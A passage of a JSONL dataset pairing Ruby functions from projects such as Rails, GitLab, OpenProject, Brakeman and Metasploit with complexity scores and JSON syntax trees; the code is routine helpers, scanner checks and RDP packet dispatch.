Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Format\\\\ options\\\\ in\\\\ `number_to_percentage`\\\\ a\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/views/users/index.html.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"format\"]}]}]}]}]}]}]}]}","id":"36135f67-4c9d-4f3d-b121-c64f4d6c5e8b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/dispatch_service.rb","start_line":59,"raw_source":"def initialize(email, options:)\n      @email = email\n      @options = assign_options(options)\n      @sender_email = email.from.to_a.first.to_s.strip\n      @logs = []\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"email\"]},{\"type\":\"kwarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@email\",{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"send\",\"children\":[null,\"assign_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sender_email\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"from\"]},\"to_a\"]},\"first\"]},\"to_s\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@logs\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"44f6f815-f1c1-4cf7-b1dd-a8226e05012d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/rake_task_helpers.rb","start_line":31,"raw_source":"def with_single_dump\n          old_value = ActiveRecord.dump_schema_after_migration\n          ActiveRecord.dump_schema_after_migration = false\n\n          yield\n\n          ActiveRecord.dump_schema_after_migration = true\n\n          Rake::Task['db:_dump'].invoke\n        ensure\n          ActiveRecord.dump_schema_after_migration = old_value\n        end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"with_single_dump\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"dump_schema_after_migration\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"dump_schema_after_migration=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"dump_schema_after_migration=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rake\"]},\"Task\"]},\"[]\",{\"type\":\"str\",\"children\":[\"db:_dump\"]}]},\"invoke\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"dump_schema_after_migration=\",{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]}]}","id":"defc813d-6c80-40b5-9033-6c97fb7be700"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/visitor/framework_default.rb","start_line":75,"raw_source":"def handle_assignment(node, name, value)\n            prefix = case node.receiver\n            in Prism::ConstantReadNode[name: constant_name]\n              constant_name\n            in Prism::SelfNode\n              \"self\"\n            in Prism::CallNode[receiver: nil, name: framework]\n              framework_string = framework.to_s\n\n              unless current_framework == framework_string\n                raise \"expected: #{current_framework}, actual: #{framework_string}\"\n              end\n\n              framework_string\n            else\n              node.receiver.location.slice\n            end\n\n            target = \"#{prefix}.#{name}\"\n\n            string_value = case value\n            in Prism::ConstantPathNode\n              value.full_name\n            in Prism::HashNode\n              HashToString.new.tap { |v| v.visit(value) }.to_s\n            in Prism::InterpolatedStringNode\n              \"\\\"#{value.parts.map(&:content).join(\"\")}\\\"\"\n            in Prism::FalseNode\n              \"false\"\n            in Prism::TrueNode\n              \"true\"\n            else\n              value.location.slice\n            end\n\n            @configs[target] = string_value\n          end","complexity_score":39.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_assignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"case_match\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"ConstantReadNode\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"match_var\",\"children\":[\"constant_name\"]}]}]}]},null,{\"type\":\"lvar\",\"children\":[\"constant_name\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"SelfNode\"]},null,{\"type\":\"str\",\"children\":[\"self\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"CallNode\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"receiver\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"match_var\",\"children\":[\"framework\"]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"framework_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_framework\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"framework_string\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_framework\"]}]},{\"type\":\"str\",\"children\":[\", actual: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework_string\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"framework_string\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"location\"]},\"slice\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"string_value\",{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"ConstantPathNode\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"full_name\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"HashNode\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashToString\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"visit\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},\"to_s\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"InterpolatedStringNode\"]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"parts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"FalseNode\"]},null,{\"type\":\"str\",\"children\":[\"false\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Prism\"]},\"TrueNode\"]},null,{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"location\"]},\"slice\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configs\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"string_value\"]}]}]}]}","id":"f7b35b44-43d8-49c7-ab66-f94bb7afc373"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_validation_regex.rb","start_line":84,"raw_source":"def check_regex value, validator\n    return unless regexp? value\n\n    regex = value.value\n    unless secure_regex?(regex)\n      warn :model => @current_model,\n      :warning_type => \"Format Validation\",\n      :warning_code => :validation_regex,\n      :message => msg(\"Insufficient validation for \", msg_code(get_name validator), \" using \", msg_code(regex.inspect), \". Use \", msg_code(\"\\\\A\"), \" and \", msg_code(\"\\\\z\"), \" as anchors\"),\n      :line => value.line,\n      :confidence => :high,\n      :cwe_id => [777]\n    end\n  end","complexity_score":19.43,"ast_json":"{\"type\":\"def\",\"children\":[\"check_regex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"validator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regexp?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_regex?\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},null,{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@current_model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Format Validation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"validation_regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Insufficient validation for \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"send\",\"children\":[null,\"get_name\",{\"type\":\"lvar\",\"children\":[\"validator\"]}]}]},{\"type\":\"str\",\"children\":[\" using \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\". Use \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"\\\\A\"]}]},{\"type\":\"str\",\"children\":[\" and \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"\\\\z\"]}]},{\"type\":\"str\",\"children\":[\" as anchors\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[777]}]}]}]}]}]}]}]}","id":"b3447a83-603c-4813-88f4-aa63350b0917"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/whats_new_helper.rb","start_line":21,"raw_source":"def whats_new_variants_label(variant)\n    case variant\n    when 'all_tiers'\n      _(\"Enable What's new: All tiers\")\n    when 'current_tier'\n      _(\"Enable What's new: Current tier only\")\n    when 'disabled'\n      _(\"Disable What's new\")\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"whats_new_variants_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"variant\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all_tiers\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Enable What's new: All tiers\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"current_tier\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Enable What's new: Current tier only\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"disabled\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Disable What's new\"]}]}]},null]}]}","id":"4ea1b3d7-e26c-4899-b567-e2a2282e0b8d"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":254,"raw_source":"def weight_unit\n      manifest.first.line_item.weight_unit\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"weight_unit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manifest\"]},\"first\"]},\"line_item\"]},\"weight_unit\"]}]}","id":"2b2e3fc8-667e-4e00-8702-ce054d8645b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":1412,"raw_source":"def rdp_on_channel_receive(pkt, chan_user_id, chan_id, flags, data)\n    ctype = data[0..1].unpack('S')[0]\n\n    if ctype == RDPConstants::RDPDR_CTYP_CORE\n      opcode = data[2..3].unpack('S')[0]\n      if opcode == RDPConstants::PAKID_CORE_SERVER_ANNOUNCE\n        rdp_on_core_server_announce(pkt, chan_user_id, chan_id, flags, data)\n      elsif opcode == RDPConstants::PAKID_CORE_SERVER_CAPABILITY\n        rdp_on_core_server_capability(pkt, chan_user_id, chan_id, flags, data)\n      elsif opcode == RDPConstants::PAKID_CORE_CLIENTID_CONFIRM\n        rdp_on_core_client_id_confirm(pkt, chan_user_id, chan_id, flags, data)\n      end\n    end\n  end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rdp_on_channel_receive\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"arg\",\"children\":[\"chan_user_id\"]},{\"type\":\"arg\",\"children\":[\"chan_id\"]},{\"type\":\"arg\",\"children\":[\"flags\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctype\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"S\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctype\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"RDPDR_CTYP_CORE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opcode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"S\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opcode\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"PAKID_CORE_SERVER_ANNOUNCE\"]}]},{\"type\":\"send\",\"children\":[null,\"rdp_on_core_server_announce\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"lvar\",\"children\":[\"chan_user_id\"]},{\"type\":\"lvar\",\"children\":[\"chan_id\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opcode\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"PAKID_CORE_SERVER_CAPABILITY\"]}]},{\"type\":\"send\",\"children\":[null,\"rdp_on_core_server_capability\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"lvar\",\"children\":[\"chan_user_id\"]},{\"type\":\"lvar\",\"children\":[\"chan_id\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opcode\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RDPConstants\"]},\"PAKID_CORE_CLIENTID_CONFIRM\"]}]},{\"type\":\"send\",\"children\":[null,\"rdp_on_core_client_id_confirm\",{\"type\":\"lvar\",\"children\":[\"pkt\"]},{\"type\":\"lvar\",\"children\":[\"chan_user_id\"]},{\"type\":\"lvar\",\"children\":[\"chan_id\"]},{\"type\":\"lvar\",\"children\":[\"flags\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},null]}]}]}]},null]}]}]}","id":"c78100ec-1b99-45fd-abc7-f42b6aaf6a2c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/post_merge_service.rb","start_line":96,"raw_source":"def create_merge_event(merge_request, current_user)\n      EventCreateService.new.merge_mr(merge_request, current_user)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_merge_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventCreateService\"]},\"new\"]},\"merge_mr\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}","id":"6abeff4a-854f-41d5-af3f-0f85ec8257e5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/reset_skipped_jobs_service.rb","start_line":28,"raw_source":"def dependent_jobs\n      ordered_by_dag(\n        @pipeline.processables\n          .from_union(needs_dependent_jobs, stage_dependent_jobs)\n          .skipped\n          .ordered_by_stage\n          .preload(:needs)\n      )\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dependent_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"ordered_by_dag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"processables\"]},\"from_union\",{\"type\":\"send\",\"children\":[null,\"needs_dependent_jobs\"]},{\"type\":\"send\",\"children\":[null,\"stage_dependent_jobs\"]}]},\"skipped\"]},\"ordered_by_stage\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"needs\"]}]}]}]}","id":"a7d68d1a-3f7f-49bc-9a06-7105a503dd9b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/non_working_days.rb","start_line":44,"raw_source":"def set_non_working_days(*dates)\n  dates.map { |date| create(:non_working_day, date:) }\nend","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_non_working_days\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"dates\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"non_working_day\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]}]}]}","id":"37e9663e-36ce-43a4-bb2c-3fdf1676a2a8"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators_test.rb","start_line":252,"raw_source":"def test_source_paths_for_not_namespaced_generators\n    mspec = Rails::Generators.find_by_namespace :fixjour\n    assert_includes mspec.source_paths, File.join(Rails.root, \"lib\", \"templates\", \"fixjour\")\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_source_paths_for_not_namespaced_generators\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mspec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"Generators\"]},\"find_by_namespace\",{\"type\":\"sym\",\"children\":[\"fixjour\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mspec\"]},\"source_paths\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"templates\"]},{\"type\":\"str\",\"children\":[\"fixjour\"]}]}]}]}]}","id":"57d1571a-dcda-43bb-89ae-dd395c60047a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":12,"raw_source":"def setup_view(paths)\n    @assigns = { secret: \"in the sauce\" }\n\n    @view = Class.new(ActionView::Base.with_empty_template_cache) do\n      def view_cache_dependencies; []; end\n\n      def combined_fragment_cache_key(key)\n        [ :views, key ]\n      end\n    end.with_view_paths(paths, @assigns)\n\n    controller = TestController.new\n    controller.perform_caching = true\n    controller.cache_store = :memory_store\n    @view.controller = controller\n\n    @controller_view = controller.view_context_class.with_empty_template_cache.new(\n      controller.lookup_context,\n      controller.view_assigns,\n      controller)\n\n    # Reload and register danish language for testing\n    I18n.backend.store_translations \"da\", {}\n    I18n.backend.store_translations \"pt-BR\", {}\n\n    # Ensure original are still the same since we are reindexing view paths\n    assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort\n  end","complexity_score":30.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_view\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"str\",\"children\":[\"in the sauce\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@view\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"with_empty_template_cache\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"view_cache_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"def\",\"children\":[\"combined_fragment_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"views\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},\"with_view_paths\",{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"ivar\",\"children\":[\"@assigns\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"controller\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestController\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"perform_caching=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"cache_store=\",{\"type\":\"sym\",\"children\":[\"memory_store\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"controller=\",{\"type\":\"lvar\",\"children\":[\"controller\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@controller_view\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"view_context_class\"]},\"with_empty_template_cache\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"lookup_context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"controller\"]},\"view_assigns\"]},{\"type\":\"lvar\",\"children\":[\"controller\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"da\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"str\",\"children\":[\"pt-BR\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[null,\"ORIGINAL_LOCALES\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"available_locales\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"sort\"]}]}]}]}","id":"914d1972-7d90-